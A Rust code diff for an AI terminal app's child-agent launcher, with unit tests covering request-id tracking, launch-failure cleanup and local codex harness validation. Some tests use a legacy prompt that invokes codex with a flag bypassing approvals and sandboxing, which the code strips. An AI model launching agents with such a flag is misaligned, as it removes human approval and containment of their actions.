@@ -431,6 +476,7 @@ impl StartAgentExecutor {
|
||||
worker_host,
|
||||
harness_type,
|
||||
title,
|
||||
auth_secret_name,
|
||||
},
|
||||
Some(parent_run_id),
|
||||
)
|
||||
@@ -442,40 +488,37 @@ impl StartAgentExecutor {
|
||||
let wait_for_completion = parent_run_id.is_none();
|
||||
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
self.pending.push(PendingStartAgent {
|
||||
parent_conversation_id,
|
||||
child_conversation_id: None,
|
||||
sender,
|
||||
wait_for_completion,
|
||||
});
|
||||
let request_id = self.next_request_id();
|
||||
self.pending.insert(
|
||||
request_id,
|
||||
PendingStartAgent {
|
||||
parent_conversation_id,
|
||||
child_conversation_id: None,
|
||||
sender,
|
||||
},
|
||||
);
|
||||
|
||||
ctx.emit(StartAgentExecutorEvent::CreateAgent(StartAgentRequest {
|
||||
name: name.clone(),
|
||||
prompt,
|
||||
execution_mode,
|
||||
lifecycle_subscription: lifecycle_subscription.clone(),
|
||||
parent_conversation_id,
|
||||
parent_run_id,
|
||||
}));
|
||||
ctx.emit(StartAgentExecutorEvent::CreateAgent(Box::new(
|
||||
StartAgentRequest {
|
||||
id: request_id,
|
||||
name: name.clone(),
|
||||
prompt,
|
||||
execution_mode,
|
||||
lifecycle_subscription: lifecycle_subscription.clone(),
|
||||
parent_conversation_id,
|
||||
parent_run_id,
|
||||
},
|
||||
)));
|
||||
|
||||
ActionExecution::new_async(async move { receiver.recv().await }, move |result, _ctx| {
|
||||
match result {
|
||||
Ok(StartAgentDecision::Started { agent_id }) => {
|
||||
Ok(StartAgentOutcome::Started { agent_id }) => {
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Success {
|
||||
agent_id,
|
||||
version,
|
||||
})
|
||||
}
|
||||
Ok(StartAgentDecision::Completed { agent_id, output }) => {
|
||||
// Return the child's output as a "success" with the output
|
||||
// embedded in the agent_id field. The Display impl on
|
||||
// StartAgentResult will show this to the model.
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Success {
|
||||
agent_id: format!("{agent_id}\n\nAgent output:\n{output}"),
|
||||
version,
|
||||
})
|
||||
}
|
||||
Ok(StartAgentDecision::Error(error)) => {
|
||||
Ok(StartAgentOutcome::Error(error)) => {
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
}
|
||||
Err(_) => {
|
||||
@@ -485,6 +528,45 @@ impl StartAgentExecutor {
|
||||
})
|
||||
}
|
||||
|
||||
/// Dispatch a pre-validated StartAgent request. Returns a receiver
|
||||
/// for the resulting [`StartAgentOutcome`].
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub fn dispatch(
|
||||
&mut self,
|
||||
name: String,
|
||||
prompt: String,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
lifecycle_subscription: Option<Vec<LifecycleEventType>>,
|
||||
parent_conversation_id: AIConversationId,
|
||||
parent_run_id: Option<String>,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> async_channel::Receiver<StartAgentOutcome> {
|
||||
let (prompt, execution_mode) =
|
||||
normalize_legacy_local_child_harness_command(prompt, execution_mode);
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
let request_id = self.next_request_id();
|
||||
self.pending.insert(
|
||||
request_id,
|
||||
PendingStartAgent {
|
||||
parent_conversation_id,
|
||||
child_conversation_id: None,
|
||||
sender,
|
||||
},
|
||||
);
|
||||
ctx.emit(StartAgentExecutorEvent::CreateAgent(Box::new(
|
||||
StartAgentRequest {
|
||||
id: request_id,
|
||||
name,
|
||||
prompt,
|
||||
execution_mode,
|
||||
lifecycle_subscription,
|
||||
parent_conversation_id,
|
||||
parent_run_id,
|
||||
},
|
||||
)));
|
||||
receiver
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
&mut self,
|
||||
_action: PreprocessActionInput,
|
||||
@@ -494,22 +576,19 @@ impl StartAgentExecutor {
|
||||
}
|
||||
}
|
||||
|
||||
/// Extracts the text output from a child agent's conversation.
|
||||
/// Collects text from all exchanges in the conversation.
|
||||
fn extract_child_output(conversation: &AIConversation) -> String {
|
||||
let mut output_parts = Vec::new();
|
||||
for exchange in conversation.all_exchanges() {
|
||||
if let Some(output) = exchange.output_status.output() {
|
||||
let text = output.get().format_for_copy(None);
|
||||
if !text.is_empty() {
|
||||
output_parts.push(text);
|
||||
}
|
||||
}
|
||||
}
|
||||
if output_parts.is_empty() {
|
||||
"Agent completed but produced no text output.".to_string()
|
||||
} else {
|
||||
output_parts.join("\n\n")
|
||||
/// Whether a child that failed before launch should have its hidden pane and
|
||||
/// conversation cleaned up. Only terminal launch failures qualify; recoverable
|
||||
/// `Blocked` startup states (e.g. awaiting GitHub auth) and non-terminal
|
||||
/// `TransientError` (a recovery is in flight) keep their chip so the user can
|
||||
/// resolve them or let the retry complete.
|
||||
fn should_cleanup_failed_child_launch(status: &ConversationStatus) -> bool {
|
||||
match status {
|
||||
ConversationStatus::Error | ConversationStatus::Cancelled => true,
|
||||
ConversationStatus::Blocked { .. }
|
||||
| ConversationStatus::InProgress
|
||||
| ConversationStatus::TransientError
|
||||
| ConversationStatus::Success
|
||||
| ConversationStatus::WaitingForEvents => false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -535,7 +614,16 @@ fn start_agent_error_message_for_status(
|
||||
blocked_action.to_string()
|
||||
})
|
||||
}
|
||||
ConversationStatus::InProgress | ConversationStatus::Success => None,
|
||||
// `WaitingForEvents` is treated like `InProgress`/`Success` here:
|
||||
// a child that's actively waiting for events has, by definition,
|
||||
// already initialized successfully and is not an error case.
|
||||
// TransientError is likewise non-terminal: a recovery is in flight,
|
||||
// so keep waiting. The agent run is still in flight in all of these
|
||||
// cases, so we don't surface an error message for the start path.
|
||||
ConversationStatus::InProgress
|
||||
| ConversationStatus::TransientError
|
||||
| ConversationStatus::Success
|
||||
| ConversationStatus::WaitingForEvents => None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -544,7 +632,13 @@ impl Entity for StartAgentExecutor {
|
||||
}
|
||||
|
||||
pub enum StartAgentExecutorEvent {
|
||||
CreateAgent(StartAgentRequest),
|
||||
CreateAgent(Box<StartAgentRequest>),
|
||||
/// A child agent failed at the launch stage (never started a server-side
|
||||
/// run). The owning terminal view removes its hidden pane and conversation
|
||||
/// so the orchestration pill bar does not retain a dead chip.
|
||||
CleanupFailedChildLaunch {
|
||||
conversation_id: AIConversationId,
|
||||
},
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -1,24 +1,45 @@
|
||||
use ai::agent::action_result::StartAgentVersion;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use warpui::{App, Entity, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::conversation::ConversationStatus;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType, RenderableAIError,
|
||||
StartAgentExecutionMode, StartAgentResult,
|
||||
};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use ai::agent::action_result::StartAgentVersion;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxyui::{App, EntityId};
|
||||
use crate::server::server_api::ServerApiProvider;
|
||||
use crate::test_util::settings::initialize_history_persistence_for_tests;
|
||||
|
||||
const FIRST_REQUEST_ID: StartAgentRequestId = StartAgentRequestId::from_raw_for_test(0);
|
||||
|
||||
/// Stable placeholder run_id assigned to the parent conversation in tests
|
||||
/// that dispatch an Oz local child. The Oz `Local` arm of
|
||||
/// `StartAgentExecutor::execute` bails out synchronously if the parent has
|
||||
/// no `run_id`, so every `local_with_defaults` test needs to assign one.
|
||||
const PARENT_RUN_ID: &str = "00000000-0000-0000-0000-000000000001";
|
||||
|
||||
fn build_start_agent_action(
|
||||
version: StartAgentVersion,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
) -> AIAgentAction {
|
||||
build_start_agent_action_with_prompt(version, execution_mode, "Investigate the failure")
|
||||
}
|
||||
|
||||
fn build_start_agent_action_with_prompt(
|
||||
version: StartAgentVersion,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
prompt: &str,
|
||||
) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("start-agent-action".to_string()),
|
||||
action: AIAgentActionType::StartAgent {
|
||||
version,
|
||||
name: "Agent 1".to_string(),
|
||||
prompt: "Investigate the failure".to_string(),
|
||||
prompt: prompt.to_string(),
|
||||
execution_mode,
|
||||
lifecycle_subscription: None,
|
||||
},
|
||||
@@ -28,14 +49,76 @@ fn build_start_agent_action(
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
fn legacy_local_codex_command_prompt_normalizes_to_local_harness() {
|
||||
let (prompt, execution_mode) = normalize_legacy_local_child_harness_command(
|
||||
"codex --dangerously-bypass-approvals-and-sandbox 'Investigate the failure'".to_string(),
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
|
||||
assert_eq!(prompt, "Investigate the failure");
|
||||
assert_eq!(
|
||||
execution_mode,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_normalizes_legacy_local_codex_command_before_validation() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let _local_codex = FeatureFlag::LocalClaudeCodexChildHarnesses.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action_with_prompt(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
"codex --dangerously-bypass-approvals-and-sandbox 'Investigate the failure'",
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error
|
||||
== "Local harness child agents require the parent run_id to be available."
|
||||
&& version == StartAgentVersion::V1
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
@@ -64,16 +147,25 @@ fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert_eq!(
|
||||
executor
|
||||
.pending
|
||||
.first()
|
||||
.and_then(|pending| pending.child_conversation_id),
|
||||
.values()
|
||||
.find_map(|pending| pending.child_conversation_id),
|
||||
Some(child_conversation_id)
|
||||
);
|
||||
});
|
||||
@@ -108,14 +200,23 @@ fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_detailed_error_when_child_startup_fails_before_initialization() {
|
||||
fn execute_resolves_error_when_request_linkage_happens_after_child_already_failed() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
@@ -144,16 +245,203 @@ fn execute_returns_detailed_error_when_child_startup_fails_before_initialization
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.update_conversation_status_with_error_message(
|
||||
history_model.update_conversation_status_with_error(
|
||||
terminal_view_id,
|
||||
child_conversation_id,
|
||||
ConversationStatus::Error,
|
||||
Some("Failed to resolve child agent skills: review-comments".to_string()),
|
||||
Some(RenderableAIError::other(
|
||||
"'codex' CLI not found on your machine.",
|
||||
false,
|
||||
)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let async_result = execute_future.await;
|
||||
let result = app.update(|ctx| on_complete(async_result, ctx));
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "'codex' CLI not found on your machine."
|
||||
&& version == StartAgentVersion::V1
|
||||
));
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert!(executor.pending.is_empty());
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_resolves_success_when_request_linkage_happens_after_child_already_started() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
app.add_singleton_model(|_| ServerApiProvider::new_for_test());
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
app.add_singleton_model(OrchestrationEventStreamer::new);
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Async {
|
||||
execute_future,
|
||||
on_complete,
|
||||
} = execution
|
||||
else {
|
||||
panic!("expected async execution");
|
||||
};
|
||||
|
||||
let child_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
let run_id = uuid::Uuid::new_v4().to_string();
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.assign_run_id_for_conversation(
|
||||
child_conversation_id,
|
||||
run_id.clone(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let async_result = execute_future.await;
|
||||
let result = app.update(|ctx| on_complete(async_result, ctx));
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Success {
|
||||
agent_id,
|
||||
version,
|
||||
}) if agent_id == run_id && version == StartAgentVersion::V1
|
||||
));
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert!(executor.pending.is_empty());
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_detailed_error_when_child_startup_fails_before_initialization() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Async {
|
||||
execute_future,
|
||||
on_complete,
|
||||
} = execution
|
||||
else {
|
||||
panic!("expected async execution");
|
||||
};
|
||||
|
||||
let child_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.update_conversation_status_with_error(
|
||||
terminal_view_id,
|
||||
child_conversation_id,
|
||||
ConversationStatus::Error,
|
||||
Some(RenderableAIError::other(
|
||||
"Failed to resolve child agent skills: review-comments",
|
||||
false,
|
||||
)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
@@ -170,13 +458,23 @@ fn execute_returns_detailed_error_when_child_startup_fails_before_initialization
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_local_harness_child_requires_orchestration_v2() {
|
||||
fn execute_accepts_local_harness_child_when_parent_run_id_is_available() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
@@ -191,66 +489,31 @@ fn execute_returns_error_when_local_harness_child_requires_orchestration_v2() {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
let AnyActionExecution::Async {
|
||||
execute_future,
|
||||
on_complete,
|
||||
} = execution
|
||||
else {
|
||||
panic!("expected async execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Local harness child agents require orchestration v2."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_rejects_invalid_local_harness_names_before_pane_creation() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
executor.read(&app, |executor, _| {
|
||||
assert!(executor.pending.contains_key(&FIRST_REQUEST_ID));
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Unsupported local child harness 'codex'."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
drop(execute_future);
|
||||
drop(on_complete);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_local_harness_child_missing_parent_run_id() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
@@ -281,14 +544,489 @@ fn execute_returns_error_when_local_harness_child_missing_parent_run_id() {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_remote_opencode_harness_is_requested() {
|
||||
fn execute_rejects_invalid_local_harness_names_before_pane_creation() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("gemini".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Unsupported local child harness 'gemini'."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_rejects_disabled_local_codex_before_other_local_harness_validation() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "Local Codex child agents are temporarily disabled."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_allows_local_codex_when_flag_is_enabled() {
|
||||
App::test((), |mut app| async move {
|
||||
let _local_codex = FeatureFlag::LocalClaudeCodexChildHarnesses.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string()),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error
|
||||
== "Local harness child agents require the parent run_id to be available."
|
||||
&& version == StartAgentVersion::V2
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parallel_dispatch_keeps_two_pendings_distinguishable_by_request_id() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let action_a = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
let action_b = build_start_agent_action(
|
||||
